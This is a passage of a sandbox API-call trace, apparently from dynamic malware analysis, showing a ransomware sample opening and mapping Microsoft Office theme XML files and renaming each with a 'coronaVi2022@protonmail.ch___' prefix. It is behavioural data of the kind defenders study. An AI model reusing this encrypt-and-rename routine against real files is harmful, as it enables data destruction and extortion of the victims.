	[0107.564] _swprintf (in: param_1=0x4709f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red.xml") returned 107
	[0107.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___red.xml")) returned 1
	[0107.596] free (_Block=0x5207128) 
	[0107.596] RtlExitUserThread (Status=0x0) 

Thread:
	id = 971
	os_tid = 0x1fa4

	[0107.432] _alloca_probe () returned 0x40328a
	[0107.432] GetCurrentThreadId () returned 0x1fa4
	[0107.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", dwFileAttributes=0x80) returned 1
	[0107.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11f0
	[0107.482] GetFileSizeEx (in: hFile=0x11f0, lpFileSize=0x484ff5c | out: lpFileSize=0x484ff5c*=744) returned 1
	[0107.482] CreateFileMappingA (hFile=0x11f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ef, lpName=0x0) returned 0x1228
	[0107.482] MapViewOfFile (hFileMappingObject=0x1228, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.497] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.497] CloseHandle (hObject=0x1228) returned 1
	[0107.497] GetCurrentThreadId () returned 0x1fa4
	[0107.497] FlushFileBuffers (hFile=0x11f0) returned 1
	[0107.557] CloseHandle (hObject=0x11f0) returned 1
	[0107.557] _swprintf (in: param_1=0x4849f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Slipstream.xml") returned 114
	[0107.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___slipstream.xml")) returned 1
	[0107.558] free (_Block=0x520c150) 
	[0107.558] RtlExitUserThread (Status=0x0) 

Thread:
	id = 972
	os_tid = 0x1fa8

	[0107.433] _alloca_probe () returned 0x40328a
	[0107.434] GetCurrentThreadId () returned 0x1fa8
	[0107.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", dwFileAttributes=0x80) returned 1
	[0107.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x123c
	[0107.509] GetFileSizeEx (in: hFile=0x123c, lpFileSize=0x498ff5c | out: lpFileSize=0x498ff5c*=743) returned 1
	[0107.509] CreateFileMappingA (hFile=0x123c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ed, lpName=0x0) returned 0x1244
	[0107.511] MapViewOfFile (hFileMappingObject=0x1244, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.537] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.538] CloseHandle (hObject=0x1244) returned 1
	[0107.538] GetCurrentThreadId () returned 0x1fa8
	[0107.538] FlushFileBuffers (hFile=0x123c) returned 1
	[0107.563] CloseHandle (hObject=0x123c) returned 1
	[0107.591] _swprintf (in: param_1=0x4989f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Violet II.xml") returned 113
	[0107.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___violet ii.xml")) returned 1
	[0107.602] free (_Block=0x5209138) 
	[0107.602] RtlExitUserThread (Status=0x0) 

Thread:
	id = 973
	os_tid = 0x1fac

	[0107.435] _alloca_probe () returned 0x40328a
	[0107.436] GetCurrentThreadId () returned 0x1fac
	[0107.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", dwFileAttributes=0x80) returned 1
	[0107.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1250
	[0107.510] GetFileSizeEx (in: hFile=0x1250, lpFileSize=0x4acff5c | out: lpFileSize=0x4acff5c*=740) returned 1
	[0107.511] CreateFileMappingA (hFile=0x1250, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7, lpName=0x0) returned 0x124c
	[0107.513] MapViewOfFile (hFileMappingObject=0x124c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.534] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.534] CloseHandle (hObject=0x124c) returned 1
	[0107.534] GetCurrentThreadId () returned 0x1fac
	[0107.534] FlushFileBuffers (hFile=0x1250) returned 1
	[0107.561] CloseHandle (hObject=0x1250) returned 1
	[0107.562] _swprintf (in: param_1=0x4ac9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Violet.xml") returned 110
	[0107.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___violet.xml")) returned 1
	[0107.593] free (_Block=0x5208130) 
	[0107.593] RtlExitUserThread (Status=0x0) 

Thread:
	id = 974
	os_tid = 0x1fb0

	[0107.437] _alloca_probe () returned 0x40328a
	[0107.437] GetCurrentThreadId () returned 0x1fb0
	[0107.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", dwFileAttributes=0x80) returned 1
	[0107.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1258
	[0107.512] GetFileSizeEx (in: hFile=0x1258, lpFileSize=0x4c0ff5c | out: lpFileSize=0x4c0ff5c*=747) returned 1
	[0107.512] CreateFileMappingA (hFile=0x1258, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f5, lpName=0x0) returned 0x1260
	[0107.514] MapViewOfFile (hFileMappingObject=0x1260, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0107.535] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0107.535] CloseHandle (hObject=0x1260) returned 1
	[0107.535] GetCurrentThreadId () returned 0x1fb0
	[0107.535] FlushFileBuffers (hFile=0x1258) returned 1
	[0107.562] CloseHandle (hObject=0x1258) returned 1
	[0107.564] _swprintf (in: param_1=0x4c09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Yellow Orange.xml") returned 117
	[0107.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___yellow orange.xml")) returned 1
	[0107.597] free (_Block=0x520b148) 
	[0107.597] RtlExitUserThread (Status=0x0) 

Thread:
	id = 975
	os_tid = 0x1fb4

	[0107.439] _alloca_probe () returned 0x40328a
	[0107.439] GetCurrentThreadId () returned 0x1fb4
	[0107.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", dwFileAttributes=0x80) returned 1
	[0107.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x125c
	[0107.513] GetFileSizeEx (in: hFile=0x125c, lpFileSize=0x4d4ff5c | out: lpFileSize=0x4d4ff5c*=740) returned 1
	[0107.513] CreateFileMappingA (hFile=0x125c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7, lpName=0x0) returned 0x1264
	[0107.514] MapViewOfFile (hFileMappingObject=0x1264, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0107.533] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0107.533] CloseHandle (hObject=0x1264) returned 1
	[0107.533] GetCurrentThreadId () returned 0x1fb4
	[0107.533] FlushFileBuffers (hFile=0x125c) returned 1
	[0107.560] CloseHandle (hObject=0x125c) returned 1
	[0107.560] _swprintf (in: param_1=0x4d49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Yellow.xml") returned 110
	[0107.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___yellow.xml")) returned 1
	[0107.561] free (_Block=0x2fe48f8) 
	[0107.561] RtlExitUserThread (Status=0x0) 

Thread:
	id = 976
	os_tid = 0x1fb8

	[0107.622] _alloca_probe () returned 0x40328a
	[0107.623] GetCurrentThreadId () returned 0x1fb8
	[0107.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", dwFileAttributes=0x80) returned 1
	[0107.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b4
	[0107.624] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3529) returned 1
	[0107.624] CreateFileMappingA (hFile=0x11b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd1, lpName=0x0) returned 0x1240
	[0107.624] MapViewOfFile (hFileMappingObject=0x1240, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.625] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.625] CloseHandle (hObject=0x1240) returned 1
	[0107.625] GetCurrentThreadId () returned 0x1fb8
	[0107.625] FlushFileBuffers (hFile=0x11b4) returned 1
	[0107.627] CloseHandle (hObject=0x11b4) returned 1
	[0107.628] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial Black-Arial.xml") returned 120
	[0107.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___arial black-arial.xml")) returned 1
	[0107.628] free (_Block=0x51f60a0) 
	[0107.628] RtlExitUserThread (Status=0x0) 

Thread:
	id = 977
	os_tid = 0x1fbc

	[0107.629] _alloca_probe () returned 0x40328a
	[0107.630] GetCurrentThreadId () returned 0x1fbc
	[0107.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", dwFileAttributes=0x80) returned 1
	[0107.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240
	[0107.630] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3553) returned 1
	[0107.630] CreateFileMappingA (hFile=0x1240, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde1, lpName=0x0) returned 0x11e4
	[0107.630] MapViewOfFile (hFileMappingObject=0x11e4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.632] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.632] CloseHandle (hObject=0x11e4) returned 1
	[0107.632] GetCurrentThreadId () returned 0x1fbc
	[0107.632] FlushFileBuffers (hFile=0x1240) returned 1
	[0107.634] CloseHandle (hObject=0x1240) returned 1
	[0107.634] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial-Times New Roman.xml") returned 124
	[0107.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___arial-times new roman.xml")) returned 1
	[0107.635] free (_Block=0x51f0070) 
	[0107.635] RtlExitUserThread (Status=0x0) 

Thread:
	id = 978
	os_tid = 0x1fc0

	[0107.636] _alloca_probe () returned 0x40328a
	[0107.637] GetCurrentThreadId () returned 0x1fc0
	[0107.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", dwFileAttributes=0x80) returned 1
	[0107.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240
	[0107.637] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3504) returned 1
	[0107.637] CreateFileMappingA (hFile=0x1240, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb0, lpName=0x0) returned 0x122c
	[0107.637] MapViewOfFile (hFileMappingObject=0x122c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.639] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.639] CloseHandle (hObject=0x122c) returned 1
	[0107.639] GetCurrentThreadId () returned 0x1fc0
	[0107.639] FlushFileBuffers (hFile=0x1240) returned 1
	[0107.641] CloseHandle (hObject=0x1240) returned 1
	[0107.641] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial.xml") returned 108
	[0107.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___arial.xml")) returned 1
	[0107.642] free (_Block=0x51fa0c0) 
	[0107.642] RtlExitUserThread (Status=0x0) 

Thread:
	id = 979
	os_tid = 0x1fc4

	[0107.643] _alloca_probe () returned 0x40328a
	[0107.643] GetCurrentThreadId () returned 0x1fc4
	[0107.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", dwFileAttributes=0x80) returned 1
	[0107.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c
	[0107.644] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3583) returned 1
	[0107.644] CreateFileMappingA (hFile=0x122c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe0d, lpName=0x0) returned 0x123c
	[0107.644] MapViewOfFile (hFileMappingObject=0x123c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.646] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.646] CloseHandle (hObject=0x123c) returned 1
	[0107.646] GetCurrentThreadId () returned 0x1fc4
	[0107.646] FlushFileBuffers (hFile=0x122c) returned 1
	[0107.650] CloseHandle (hObject=0x122c) returned 1
	[0107.651] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri Light-Constantia.xml") returned 127
	[0107.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___calibri light-constantia.xml")) returned 1
	[0107.651] free (_Block=0x51f60a0) 
	[0107.651] RtlExitUserThread (Status=0x0) 

Thread:
	id = 980
	os_tid = 0x1fc8

	[0107.649] _alloca_probe () returned 0x40328a
	[0107.649] GetCurrentThreadId () returned 0x1fc8
	[0107.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", dwFileAttributes=0x80) returned 1
	[0107.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1230
	[0107.650] GetFileSizeEx (in: hFile=0x1230, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3542) returned 1
	[0107.650] CreateFileMappingA (hFile=0x1230, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xddb, lpName=0x0) returned 0x1248
	[0107.650] MapViewOfFile (hFileMappingObject=0x1248, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.653] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.653] CloseHandle (hObject=0x1248) returned 1
	[0107.653] GetCurrentThreadId () returned 0x1fc8
	[0107.653] FlushFileBuffers (hFile=0x1230) returned 1
	[0107.655] CloseHandle (hObject=0x1230) returned 1
	[0107.655] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri-Cambria.xml") returned 118
	[0107.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___calibri-cambria.xml")) returned 1
	[0107.657] free (_Block=0x51f0070) 
	[0107.657] RtlExitUserThread (Status=0x0) 

Thread:
	id = 981
	os_tid = 0x1fcc

	[0107.659] _alloca_probe () returned 0x40328a
	[0107.660] GetCurrentThreadId () returned 0x1fcc
	[0107.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", dwFileAttributes=0x80) returned 1
	[0107.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1230
	[0107.660] GetFileSizeEx (in: hFile=0x1230, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3500) returned 1
	[0107.660] CreateFileMappingA (hFile=0x1230, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb7, lpName=0x0) returned 0x122c
	[0107.660] MapViewOfFile (hFileMappingObject=0x122c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.662] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.662] CloseHandle (hObject=0x122c) returned 1
	[0107.662] GetCurrentThreadId () returned 0x1fcc
	[0107.662] FlushFileBuffers (hFile=0x1230) returned 1
	[0107.664] CloseHandle (hObject=0x1230) returned 1
	[0107.665] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri.xml") returned 110
	[0107.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___calibri.xml")) returned 1
	[0107.665] free (_Block=0x51fa0c0) 
	[0107.665] RtlExitUserThread (Status=0x0) 

Thread:
	id = 982
	os_tid = 0x1fd0

	[0107.666] _alloca_probe () returned 0x40328a
	[0107.667] GetCurrentThreadId () returned 0x1fd0
	[0107.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", dwFileAttributes=0x80) returned 1
	[0107.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c
	[0107.667] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3556) returned 1
	[0107.667] CreateFileMappingA (hFile=0x122c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde7, lpName=0x0) returned 0x1250
	[0107.667] MapViewOfFile (hFileMappingObject=0x1250, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.669] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.669] CloseHandle (hObject=0x1250) returned 1
	[0107.669] GetCurrentThreadId () returned 0x1fd0
	[0107.669] FlushFileBuffers (hFile=0x122c) returned 1
	[0107.674] CloseHandle (hObject=0x122c) returned 1
	[0107.675] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Cambria.xml") returned 110
